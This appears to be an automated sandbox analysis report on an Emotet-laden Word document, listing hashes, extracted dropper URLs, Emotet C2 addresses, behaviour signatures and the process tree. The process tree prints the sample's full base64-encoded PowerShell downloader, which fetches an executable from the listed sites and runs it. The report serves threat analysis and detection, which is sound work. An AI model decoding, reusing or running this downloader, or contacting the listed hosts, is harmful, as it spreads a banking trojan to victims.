Analysis

  • max time kernel
    135s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    28-07-2020 20:49

General

  • Target

    emotet_e1_03d305262c813c8499df55f06b291331f87758dd0a17daf10b8d7c4a82bc795e_2020-07-28__204930._doc.doc

  • Size

    168KB

  • MD5

    1cbfb57b3cb22c621c786457673e9b77

  • SHA1

    67359bd6b59797b442ec06655d923aad6bed8c70

  • SHA256

    03d305262c813c8499df55f06b291331f87758dd0a17daf10b8d7c4a82bc795e

  • SHA512

    404269c36436bb53205354be9a3026c47976b9b71038cc75514a00db71423e7ef5464cc0bebcad05d4cc512790670512dc62d3c86a59221585115b8261726416

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://globeartdesigners.com/assets/lR/

exe.dropper

http://karerguvenlik.com/bayi/6UF4rtEz/

exe.dropper

https://juroca.com/language/Uiv/

exe.dropper

https://www.lgpass.com/images/Wk128/

exe.dropper

http://m0h.net/nano/WLfQ/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_03d305262c813c8499df55f06b291331f87758dd0a17daf10b8d7c4a82bc795e_2020-07-28__204930._doc.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:3100
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAFYARgBLAEkAawB5AGgAPQAnAEUAUABEAFIARgBvAGsAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBJAFQAWQBwAHIATwBgAFQAYABPAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABLAFYAQwBGAFkAdgBtAGUAIAA9ACAAJwAzADYAOQAnADsAJABEAFYAWABTAEoAawBxAGoAPQAnAE8AVQBRAFgAQgBpAHYAbQAnADsAJABZAE0ASQBGAEYAagBpAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEsAVgBDAEYAWQB2AG0AZQArACcALgBlAHgAZQAnADsAJABPAEQAWQBIAFgAaABlAG0APQAnAFQAUABOAFYAVQBtAGkAYgAnADsAJABBAEsAUwBSAFcAeABjAHYAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAEkAQQBIAEEATAB3AGEAZgA9ACcAaAB0AHQAcAA6AC8ALwBnAGwAbwBiAGUAYQByAHQAZABlAHMAaQBnAG4AZQByAHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AbABSAC8AKgBoAHQAdABwADoALwAvAGsAYQByAGUAcgBnAHUAdgBlAG4AbABpAGsALgBjAG8AbQAvAGIAYQB5AGkALwA2AFUARgA0AHIAdABFAHoALwAqAGgAdAB0AHAAcwA6AC8ALwBqAHUAcgBvAGMAYQAuAGMAbwBtAC8AbABhAG4AZwB1AGEAZwBlAC8AVQBpAHYALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGwAZwBwAGEAcwBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvAFcAawAxADIAOAAvACoAaAB0AHQAcAA6AC8ALwBtADAAaAAuAG4AZQB0AC8AbgBhAG4AbwAvAFcATABmAFEALwAnAC4AIgBzAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMARABWAFoAUwBhAHMAdAA9ACcATgBTAEIASQBLAGMAYwBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAFQATQBLAEcAYQBsAGgAIABpAG4AIAAkAEkAQQBIAEEATAB3AGEAZgApAHsAdAByAHkAewAkAEEASwBTAFIAVwB4AGMAdgAuACIARABgAE8AVwBOAGwAbwBgAEEARABGAGAAaQBMAEUAIgAoACQAVQBUAE0ASwBHAGEAbABoACwAIAAkAFkATQBJAEYARgBqAGkAYwApADsAJABHAFcAWABRAE4AeABkAHcAPQAnAFIAVABaAEUAUABhAGsAZAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkATQBJAEYARgBqAGkAYwApAC4AIgBsAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADIANgA1ADEANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAFkATQBJAEYARgBqAGkAYwApADsAJABQAEwAWQBPAEUAegBxAHQAPQAnAEsARgBMAFMARgBnAGIAZQAnADsAYgByAGUAYQBrADsAJABDAFEAWQBXAFYAZwBiAHoAPQAnAEoAQwBBAFkASAB1AHEAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAEkAUwBRAFcAZAB3AG0APQAnAEcAQQBVAFgATgB3AGsAYgAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:2904
  • C:\Users\Admin\369.exe
    C:\Users\Admin\369.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:496
    • C:\Windows\SysWOW64\hh\Geolocation.exe
      "C:\Windows\SysWOW64\hh\Geolocation.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:2260

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/496-11-0x0000000000600000-0x000000000060C000-memory.dmp

    Filesize

    48KB

  • memory/2260-14-0x0000000000530000-0x000000000053C000-memory.dmp

    Filesize

    48KB

  • memory/3100-3-0x0000017A517A6000-0x0000017A517AB000-memory.dmp

    Filesize

    20KB

  • memory/3100-8-0x0000017A518F7000-0x0000017A5190B000-memory.dmp

    Filesize

    80KB

  • memory/3100-7-0x0000017A518F7000-0x0000017A5190B000-memory.dmp

    Filesize

    80KB

  • memory/3100-6-0x0000017A518F7000-0x0000017A5190B000-memory.dmp

    Filesize

    80KB

  • memory/3100-5-0x0000017A518F7000-0x0000017A5190B000-memory.dmp

    Filesize

    80KB

  • memory/3100-0-0x0000017A517A6000-0x0000017A517AB000-memory.dmp

    Filesize

    20KB

  • memory/3100-2-0x0000017A517A6000-0x0000017A517AB000-memory.dmp

    Filesize

    20KB

  • memory/3100-1-0x0000017A517A5000-0x0000017A517A6000-memory.dmp

    Filesize

    4KB